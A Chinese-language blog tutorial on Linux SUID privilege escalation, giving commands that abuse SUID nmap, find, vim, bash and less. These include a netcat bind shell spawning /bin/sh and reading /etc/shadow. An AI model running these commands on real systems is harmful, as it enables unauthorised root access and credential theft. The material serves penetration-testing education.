# 什么是 SUID

SUID (Set UID) 是 Linux 中的一种特殊权限,其功能为用户运行某个程序时,如果该程序有 SUID 权限,那么程序运行为进程时,进程的属主不是发起者,而是程序文件所属的属主。但是 SUID 权限的设置只针对二进制可执行文件,对于非可执行文件设置 SUID 没有任何意义.

在执行过程中,调用者会暂时获得该文件的所有者权限,且该权限只在程序执行的过程中有效。通俗的来讲,假设我们现在有一个可执行文件 ls , 其属主为 root, 当我们通过非 root 用户登录时,如果 ls 设置了 SUID 权限,我们可在非 root 用户下运行该二进制可执行文件,在执行文件时,该进程的权限将为 root 权限.

利用此特性,我可通过 SUID 进行提权

# 通过 root 设置的具有 SUID 权限的二进制可执行文件提权

现在已知的具有 SUID 权限的二进制可执行文件大体有如下这些

Nmap
Vim
find
Bash
More
Less
Nano
cp

以下命令可以找到正在系统上运行的所有 SUID 可执行文件。准确的说,这个命令将从 / 目录中查找具有 SUID 权限位且属主为 root 的文件并输出它们,然后将所有错误重定向到 /dev/null,从而仅列出该用户具有访问权限的那些二进制文件。

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;

# NMAP

较旧版本的 Nmap(2.02 至 5.21)具有交互模式,允许用户执行 shell 命令。由于 Nmap 在使用 root 权限执行的二进制文件列表中,因此可以使用交互式控制台来运行具有相同权限的 shell。

交互模式可以通过执行 Nmap 参数 " interactive "

nmap --interactive

以下命令将提供一个提升的 shell。

nmap> !sh

# Find

如果 Find 命令也是以 Suid 权限运行的话,则将通过 find 执行的所有命令都会以 root 权限执行。

touch pentestlab
find pentestlab -exec whoami \;

大部分 Linux 操作系统都安装了 netcat,因此也可以被利用来将权限提升至 root。

find pentestlab -exec netcat -lvp 5555 -e /bin/sh \;

连接上去就会直接获取到一个 Root 权限的 shell。

netcat 192.168.1.189 5555
id
cat /etc/shadow

# VIM

Vim 是 Linux 环境下的一款文件编辑器。但是,如果以 SUID 运行的话,它会继承 root 用户的权限,因此可以读取系统上的所有文件。

vim.tiny /etc/shadow
vim.tiny
# Press ESC key
:set shell=/bin/sh
:shell

# Bash

以下命令将以 root 权限打开一个 bash shell。

bash -p
bash-3.2# id
uid=1002(service) gid=1002(service) euid=0(root) groups=1002(serv

# Less

Less 和 More 都执行以用来提权

less /etc/passwd
!/bin/sh

获取到 Root 权限

# 参考资料

https://pentestlab.blog/2017/09/25/suid-executables/

http://blog.csdn.net/haofeifei6/article/details/11516753

Edited on

Give me a cup of [coffee]~( ̄▽ ̄)~*

lxy WeChat Pay

WeChat Pay

lxy Alipay

Alipay

lxy PayPal

PayPal